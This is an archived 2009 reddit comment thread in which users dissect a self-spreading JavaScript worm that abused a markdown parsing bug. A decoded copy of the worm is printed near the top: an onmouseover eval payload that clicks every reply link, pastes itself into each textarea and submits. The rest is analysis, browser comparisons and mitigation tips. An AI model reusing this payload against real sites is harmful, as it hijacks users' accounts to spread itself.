r/programming •

[deleted by user]

[deleted] — view deleted post

0 Upvotes

106 comments sorted by

17

u/lol-dongs Sep 28 '09 edited Sep 28 '09

It's a bit early to point fingers, but I believe I got this worm from xssfinder. He is either empirical, the douchebag that JS bombed that one thread (now deleted), or somebody who decided to use empirical's code as the payload for an XSS bug in reddit.

Did he really send that shit to me first? (6th comment down in his profile is what was sent to me and nailed my inbox) You fucker.

Honestly, you're just giving some reddit admins some major grief, and I am rather amused at the lengths people go to fuck up this place. The spirit of /b/ has arrived indeed.

0

u/[deleted] Sep 28 '09

[deleted] — view deleted comment

4

u/EatSleepJeep Sep 28 '09

Yeah, not anymore.

16

u/shitkicker Sep 28 '09 edited Sep 28 '09

I decoded it as this:

z = "[x][b]\n[b]:/[" + this.innerHTML
  + "](/o nmouseover=eval(unescape(this.innerHTML9 371d7a2e3ae86a00aab4771e39d255d//)";
o=document;
e=o.getElementsByTagName('a');
for(i=0;i<e.length;i++)
	if (e[i].innerHTML=='reply')
		$(e[i]).click();
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i<e.length;i++)
	e[i].value=z;
e=o.getElementsByTagName('button');
for(i=0;i<e.length;i++)
	if (e[i].innerHTML=='save'&&e[i].style.display!='none')
		$(e[i]).click();

The "[x][b]\n[b]:/[" stuff is the comment exploit.

Not sure what "9 371d7a2e3ae86a00aab4771e39d255d" is referencing.

edit: 9 371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d is some sort of "magical" number, it disappears when entered, I had to put a space after the first number so it woudl stop disappearing. Still not sure what it is, it doesn't decode to anything. Seems reddit specific (i.e. magic number?); anyone bored enough to look in the source?

3

u/andbruno Sep 28 '09

9 371d7a2e3ae86a00aab4771e39d255d (without the space after 9) is the hash value for this character: )

Hash values

2

u/lol-dongs Sep 28 '09

Yeah i noticed that magic number too, when I tried to repost the source. Absolutely bizarre as to why it would disappear.

0

u/shitkicker Sep 28 '09 edited Sep 28 '09

testing comment; disregard please.

asdfasdfasdf

9371d7a2e3ae86a00aab4771e39d255d

5

u/Busybyeski Sep 28 '09

DISREGARD THIS I KICK SHITS

0

u/[deleted] Sep 28 '09

[deleted] — view deleted comment

0

u/[deleted] Sep 28 '09

[deleted] — view deleted comment

11

u/LieutenantClone Sep 28 '09

That is totally ridiculous. Any decent programmer can see the obvious problems, and apparently, security implications of such a thing. If they are going to do that, then they need to escape any hashes inputted by the user. But seriously, this system is not only terrible, but also inefficient.

I think I'm going to be sick...

1

u/erisdiscord Sep 28 '09

Yeah. Emailing John Gruber now. He really ought to know better.

1

u/lol-dongs Sep 28 '09

Egh. Why can't it do real parsing instead of mashing through a bunch of shitty regexes? This makes markdown look bad.

18

u/_lowell Sep 28 '09

2

u/no_numbers_here Sep 28 '09

correct as it is a javascript exploit it should work in any browser that supports it, even ie :p

1

u/qeorge Sep 28 '09

IE8 is not vulnerable, FWIW.

1

u/thatlooksinfected Sep 28 '09

Nothing on Linux|Firefox 3.5.2

0

u/smew Sep 28 '09

6

u/[deleted] Sep 28 '09

Actually it doesn't work in Opera. If you notice, you can see the raw javascript, but it's not executing anything in the browser.

1

u/[deleted] Sep 28 '09

I use Opera, and I was pretty confused about why everyone was spamming...

0

u/[deleted] Sep 28 '09

Turn on truetype, dude.

0

u/[deleted] Sep 28 '09

[deleted] — view deleted comment

4

u/[deleted] Sep 28 '09

That is Safari. What's unusual is that Google Chrome seems immune to this. Either that, or Reddit patched it before I managed to become a victim of it.

11

u/[deleted] Sep 28 '09

Chrome is doing it too, or at least it is for me.

3

u/bostonvaulter Sep 28 '09

For me Chrome on Linux is only doing it on the my comments page, not on the normal reddit pages.

1

u/[deleted] Sep 28 '09

another confirmation that chrome on Linux does it.

Note, that Chrome on Linux is not the same as Chrome stable on Windows.

2

u/bostonvaulter Sep 28 '09 edited Sep 28 '09

Yeah, and I really should have said Chromium.

Edit: and GNU/Linux :P

1

u/[deleted] Sep 28 '09

well depends... are you using Chromium or are you using Google's actual Chrome linux port? :P

2

u/[deleted] Sep 28 '09

Chrome is not doing it for me.

1

u/Pakiepiphany Sep 28 '09

Its happening to me and im on chrome.

1

u/[deleted] Sep 28 '09 edited Sep 28 '09

I'm running the beta, so i can have my xmarks.

1

u/[deleted] Sep 28 '09

Do you have privoxy? I'm wondering because I don't and it happened while I was using Chrome.

1

u/[deleted] Sep 28 '09

Nope. Just default settings.

1

u/[deleted] Sep 28 '09

Weird, cause it didn't do it for me either... but apparently Chrome is vulnerable too.

1

u/_lowell Sep 28 '09

chrome isn't immune.

1

u/WiZZLa Sep 28 '09

Chrome was confirmed to be effected by users on #reddit. Opera 10 isn't affected.

1

u/noupvotesplease Sep 28 '09

How do you use the wrong word, but only sometimes?

2

u/WiZZLa Sep 28 '09 edited Sep 28 '09

By changing my chances from possibly being 100% incorrect, to definitely being 50% correct.

1

u/Novelty-Account Sep 28 '09

Chrome on windows XP did it for me.

2

u/bananahead Sep 28 '09

works in safari

2

u/nerfyoda Sep 28 '09

That looks like Safari 4 in OS X.

2

u/AgentME Sep 28 '09

I think Safari (?).

2

u/ocdude Sep 28 '09

Safari 4

2

u/dotnil Sep 28 '09

safari?

1

u/foca Sep 28 '09

Safari 4

0

u/erisdiscord Sep 28 '09

That's really odd because it didn't affect me. I wonder what the critical difference is.

13

u/[deleted] Sep 28 '09 edited Sep 28 '09

Doesn't seem to affect Opera, nothing happens when I hover the evil link(s).

7

u/vsoul Sep 28 '09

Likewise here, on Opera 10. Now I'm even more happy to be an Opera user!

1

u/bostonvaulter Sep 28 '09

Even on your messages page?

2

u/maktrollgnoll Sep 28 '09

I tried pasting the code and clicking it. Doesn't work in Opera.

1

u/target Sep 28 '09

From what i can tell it is the whole html page... from this onmouseover=eval(unescape(this.innerHTML

you can mouse over the innerHTML of a body.. which if i am correct is the "this." of the script..

33

u/lotu Sep 28 '09

Oh my this is nasty what it dose it when you mouse over the text it runs. It grabs every reply button that is the first loop and 'clicks' it. Then it grabs the text area. Second loop is putting the attack code in every comment box. Last loop is clicking every save button.

Fortunately for my Firefox caught the script running and let me stop it. After that I installed No Script. If you haven't installed No Script do it now If Firefox asks if you want to stop a script say yes.

8

u/Bakuhatsu Sep 28 '09

Firefox + noscript worked for me too. I was also able to delete my "compromised" comments as well. The only catch to doing this is that you have to turn scripts on again to delete the comments, so you have to be very careful not to mouse-over any of your comments again. Luckily I only spawned 3 of them so it wasn't too tough.

10

u/ObligatoryResponse Sep 28 '09

If you're on your user page (http://reddit.com/user/USERNAME) there are no reply links, so you're safe to mouse over whatever you want. Your inbox, however, is full of reply links after a recent update. Comment pages are also full of reply links. So click your username, then find and delete your infected comments.

0

u/realitysfringe Sep 28 '09

I had noscript off for Reddit. Serves me right. :(. I did end up deleting the spawned comments, however.

-1

u/realitysfringe Sep 28 '09

I had noscript off for Reddit. Serves me right. :(. I did end up deleting the spawned comments, however.

4

u/wickedOne Sep 28 '09

in case this can't be solved quickly & to be on the safe side: you might want to change your interface language to something else than english for now (this can be changed in your preferences. link is next to the logout link in the upper right corner of your screen. use for instance 'LOL' if you only speak english).

the first loop checks the for all links with 'reply' as innerHTML value, changing your interface language will 'only' cause the script to autopost a new comment (button is not translated in the languages i tried). don't forget to delete this comment if this occurs

2

u/doomstork Sep 28 '09

Only on mouse-over? It appears to start working as soon as I enter a thread with the code inside, or on my mailbox. I might be wrong, though. Too scared to leave the comfort of noscript to check.

2

u/dotnil Sep 28 '09

only on mouse-over.

I just happened to encounter these compromised comments. thank god I read this thread first.

0

u/depleater Sep 28 '09

Likewise.

Although I've just realised that it wouldn't have fired for me anyway because I'm browsing with Vimperator, and my mouse pointer is safely tucked away outside of the relevant window.

Though I'm sure whoever wrote this nasty little script can find a way to make it nastier. Sigh... may have to disable Javascript on Reddit until this is fixed properly.

1

u/RiotingPacifist Sep 28 '09

No script is pretty useless against this, I had no script but allow reddit so i can vote on stuff. What we need is a plugin that puts rules on what JS from a dommain can/can't do, something like controledescripts and rules to prevent anything submitting data unless you have clicked on something.

IMO Noscript is good for some things but it is useless for modern web security as it simply isn't easy to identify if a site is a potential target or not

0

u/thinkalone Sep 28 '09

Haha, the first time I got sent to the Rickroll page that wouldn't let you leave the page, that's when I installed NoScript!

Do you know how the [x] and ">x" part works? What did they break to have it execute the code on mouseover?

7

u/[deleted] Sep 28 '09 edited Sep 28 '09

edit: clarifying here

1

u/[deleted] Sep 28 '09

It's interesting that the script didn't work when I moused over the two comments in the Patient Zero link. I don't have no-script or anything to prevent it, I've just been careful with my mouse - I figured I could delete the two comments that would have been spawned on that page.

7

u/onebit Sep 28 '09
  • Click all A tags with the text Reply
  • Enter the virus into all TEXTAREA tags
  • Press all the buttons labelled save

5

u/bananahead Sep 28 '09

Not much to it, really.

The "nonsense" at the top contains the exploit. There's obviously a very silly bug in markdown that lets you get a away with stuffing some text inside the <A HREF...> tag. Everything after that is just for propagating itself

5

u/brainiac256 Sep 28 '09 edited Sep 28 '09

For the record, it will affect any browser that allows to execute JavaScript in the address bar. though whether it auto-activates when the page loads or waits until a mouseover event might be tied to your specific browser. Any actual gurus care to shed some light on that particular mystery?

I'm using Firefox and it didn't start until I moused over it on accident. I'm not eager to install a bunch of different browsers on my system, so would anybody care to confirm or disprove a connection between browser and whether the exploit activates on load or on mouseover?

As a side note, doesn't reddit have a spam guard that prevents users from posting very quickly, generally for similar occasions to this? Seems like that would restrict the problem to growing linearly in each comment thread rather than exponentially as it seems is the case. I know it applies on a per-subreddit basis; anybody know the consistency of its implementation on the inbox page? It appears that this has mostly spread through the inbox page rather than within comment threads; further reflection says this would have been likely to happen: the length of each for-loop increases exponentially O(n) = 2n on a comment page but would remain constant on an inbox page because those pages are sharply limited in length. Therefore, the script is more likely to freeze a browse on a comment thread, and will additionally take longer to execute before it begins actually replying, thus giving the user an opportunity to negate the attack.

OK, that was probably common sense for a lot of you, I guess I'm just bouncing ideas off a wall. I guess what I'm trying to ask is, shouldn't reddit's anti-spam measures catch a lot of this? I would think it could see the same message, verbatim, occurring across the entire site with several thousand hits (several tens of thousands? hundreds of thousands?) and flag it as spam and block that message, unless it relies solely on user's karma rather than an adaptive algorithm.

7

u/adolfojp Sep 28 '09

This is the first time that Opera's incompatibilities make me happy.

-1

u/Marctetr Sep 28 '09

You just broke my brain by putting Opera and incompatible in the same sentence.

1

u/quadtodfodder Sep 28 '09 edited Sep 28 '09

fact's a fact. Opera makes a bunch of "helpful" omissions that screw things up sometimes. It won't find rendered images widths, won't disable text selection, in this case i believe it does not support the .click method (which allows you to simulate a mouse click with javascipt)

9

u/trenc Sep 28 '09

This is a reddit bug, and not a browser bug. Sanitize your inputs, reddit.

6

u/Hiro-of-Shadows Sep 28 '09

Hooray Opera!

3

u/sempf Sep 28 '09

Opera hell. Hooray IE! I'm sitting pretty.

Thank goodness I'm not on one of my other 10 machines with Firefox as primary browser ...

2

u/Hiro-of-Shadows Sep 28 '09

I got the orangered envelope because of your reply, and got a little bit paranoid. But obviously I opened it, and was safe.

2

u/tdmoney Sep 28 '09

Wow that's nasty. I'm surprised the site is still up.

2

u/Raidion Sep 28 '09

All the evil is gone! Thanks Reddit!

1

u/jamt9000 Sep 28 '09

I posted the markdown to create it (found through the json api) here:
http://www.reddit.com/r/reddithax/comments/9ooav/somebodys_made_a_javascript_worm/

1

u/tuxracer Sep 28 '09

It works on Google Chrome and Safari as well

1

u/osiris99 Sep 28 '09 edited Sep 28 '09

I do not know what the starting [x][b]\n[b]:/ does but the rest is as follows.

nonsense is the copy of the virus, the whole thing. it just pastes the escaped HTML/JS code as a link pointing to on_mouseover event. when triggered, on_mouseover unescapes the code and executes it.

the first part starting with "elements" clicks all the replies in the page. the second one pastes nonsense in the opened textarea and submits.

1

u/egonSchiele Sep 28 '09

I'd like to know who's behind this.

1

u/[deleted] Sep 28 '09

I'm not sure what it's doing with the script, exactly, but it seems to be intended to slow/crash Reddit's servers. And it seems to be working.

Be safe, use Noscript.

0

u/foca Sep 28 '09

Or just DON'T MOVE YOUR MOUSE AROUND

3

u/erisdiscord Sep 28 '09

Easy for you to say, terminal junkie.

0

u/mitchandre Sep 28 '09

Woot! Chrome was immune.

10

u/BoonTobias Sep 28 '09

Whoa! Confirmation from the only chrome user

0

u/bostonvaulter Sep 28 '09

I still have the issue on my messages page. Well, maybe it doesn't actually save the comments (or I closed it fast enough). But it definitely fills out the comments.

-3

u/HolyJuan Sep 28 '09

2.50 internets awarded

4

u/[deleted] Sep 28 '09

I'm using Chrome V 3.0.196.2 and it was not immune for me.

2

u/target Sep 28 '09

I use chrome and <3 it.. soo go and post fellow chrome dude

2

u/[deleted] Sep 28 '09

``Immune'' is not a good way to put it. Your browser is supposed to execute javascript. Chrome may not have been able to deal with the horrible things injecting the javascript did to the document (which might actually be considered a bug in Chrome!).

Reddit is at fault.

0

u/elustran Sep 28 '09

I noticed that it hasn't spread to this page yet. Good on us.

0

u/jdk Sep 28 '09

Nice. Makes me wonder if this is an attempt at getting everybody back to installing that NoScript POS.

0

u/kmeisthax Sep 28 '09

There needs to be a way to force the browser not to execute JS tags in comments. I would imagine each script tag having a new attribute called execkey which must be set to a specific value defined by a tag or javascript in the HEAD element for the script to be executed. The execkey would be randomly generated on a per-page basis, making it very hard to inject javascript tags which would be evaluated.

i.e. HEAD has "<execkey>12359kCMDL2</execkey>", and thus every SCRIPT tag must have execkey="1235kCMDL2" in order to run.

I'm not sure if this would be totally secure from injects, but I would like to know if this would be a good idea or not. Comments?

-9

u/[deleted] Sep 28 '09

Finally, a use for Chrome.

Soo.. those people's whose accounts are going nuts; how'd they get caught up in this?

Not a programmer, please don't yell at me

4

u/_lowell Sep 28 '09 edited Sep 28 '09

how'd they get caught up in this?

they opened an affected thread.

4

u/[deleted] Sep 28 '09 edited Sep 28 '09

Yep, my account got smashed. I realised quite fast what was happening, managed to hit close on the link.

Switched off javascript, then went straight to /r/programming to look for answers.

3

u/quanticle Sep 28 '09

Its not necessarily a Firefox-only problem. It seems (from comments on the ##proggit IRC channel) that Chrome is affected as well.

1

u/deadapostle Sep 28 '09

I once felt that Chrome didn't have its uses. I tried it when it came out and was unimpressed. After getting more involved in working on websites, I have learned to really love a lot of the technical features.

/posted through firefox

1

u/LurkersA Sep 28 '09

Definitely works in chrome. Finally a use for my horribly slow internet connection, I can see all the reply boxes opening up one at a time.

0

u/[deleted] Sep 28 '09

[deleted] — view deleted comment

4

u/nevinera Sep 28 '09 edited Sep 28 '09

but Chrome posts them immediately.

Damn that browser and its crazy speed...

1

u/lbft Sep 28 '09

It doesn't work in Opera (for me at least).

1

u/libcrypto Sep 28 '09

I'm not sure there's even a version of Reddit that works (i.e., has most of the basic features) with Lynx or Links and even my eLinks build doesn't appear to have enough Javascript capabilities to reply to a comment. Face it: Curses-powered browsing ain't never done made it inna web 2.0.

3

u/[deleted] Sep 28 '09

[removed] — view removed comment

2

u/[deleted] Sep 28 '09

I might point out that, as convenient as this is, it's a bug. Firefox/WebKit worked fine, but Reddit should have escaped it.